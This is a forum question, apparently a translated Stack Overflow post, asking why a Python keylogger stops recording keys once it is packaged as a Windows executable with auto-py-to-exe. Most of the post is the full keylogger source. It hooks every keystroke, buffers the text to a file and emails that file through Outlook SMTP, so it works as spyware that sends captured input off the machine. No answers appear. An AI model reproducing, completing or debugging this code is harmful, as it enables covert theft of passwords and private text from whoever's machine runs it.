自动Py to Exe-Keylogger-Emailer-Exe运行一次。然后不注册按键输入

时间:2019-06-12 05:55:48

标签: python-3.x package exe keylogger windows-10-desktop

将结果发送到电子邮件的键盘记录器

从anaconda CMD或IDE运行.PY: 1.记录键盘输入 2.输入> 100 =存储在txt文件中时 3.电子邮件txt文件 4.无限重复

从EXE运行(从自动Py到Exe创建的EXE) 1.记录键盘输入 2.输入> 100 =存储在txt文件中时 3.电子邮件txt文件 4. --------------- <<<<<<<<<

try:
    import pythoncom, pyHook
except:
    print ("Please Install pythoncom and pyHook modules")
    exit(0)

import urllib,urllib.request     
from urllib.request import urlopen
from winreg import *
import sys

x=''
data=''
count=0
#Local Keylogger
def local():
    global data

    if len(data)>200:
      #  _thread.start_new_thread( local, ("Thread-2", 2, ) )
        fp=open("c:/Users/Aaron/output.txt","a")
        fp.write(data)
        fp.close()
        data=''
        print ("saved")

# libraries to be imported 
        import smtplib 
        from email.mime.multipart import MIMEMultipart 
        from email.mime.text import MIMEText 
        from email.mime.base import MIMEBase 
        from email import encoders 

        fromaddr = "name@outlook.com"
        toaddr = "name@outlook.com"

# instance of MIMEMultipart 
        msg = MIMEMultipart() 

# storing the senders email address   
        msg['From'] = fromaddr 

# storing the receivers email address  
        msg['To'] = toaddr 

# storing the subject  
        msg['Subject'] = "Subject of the Mail"

# string to store the body of the mail 


        body =  ""

# attach the body with the msg instance 
        msg.attach(MIMEText(body, 'plain')) 

# open the file to be sent  
        filename = "output.txt"
        attachment = open("c:/Users/Aaron/output.txt", "rb") 

# instance of MIMEBase and named as p 
        p = MIMEBase('application', 'octet-stream') 

# To change the payload into encoded form 
        p.set_payload((attachment).read()) 

# encode into base64 
        encoders.encode_base64(p) 

        p.add_header('Content-Disposition', "attachment; filename= %s" %             filename) 

# attach the instance 'p' to instance 'msg' 
        msg.attach(p) 

# creates SMTP session 
        s = smtplib.SMTP('smtp-mail.outlook.com', 587) 

# start TLS for security 
        s.starttls() 

# Authentication 
        s.login(fromaddr, "password") 

# Converts the Multipart msg into a string 
        text = msg.as_string() 

# sending the mail 
        s.sendmail(fromaddr, toaddr, text) 

# terminating the session 
        s.quit() 
        print ("emailed")



    return True

def main():
    print ("---- Keylogger Activated")
    global xz
    x=1
#if __name__ == '__main__':
  #  main()

    obj = pyHook.HookManager()
    obj.KeyDown = keypressed
    obj.HookKeyboard()
    pythoncom.PumpMessages()

def keypressed(event):
    print ("key")
    global x,data
    if event.Ascii==13:
        keys='<ENTER>'
    elif event.Ascii==8:
        keys='<BACK SPACE>'
    elif event.Ascii==9:
        keys='<TAB>'
    elif event.Ascii==122:
       # keys=''
       print ("^^^^ Keylogger Deactivated")
       sys.exit()
    else:
        keys=chr(event.Ascii)
    data=data+keys 

    local()

    return True

main()

没有错误。按下键时,不会打印str“键”。所以我认为它没有运行?

是编码的新手。请客气:)

让我知道您是否需要更多信息

0 个答案:

没有答案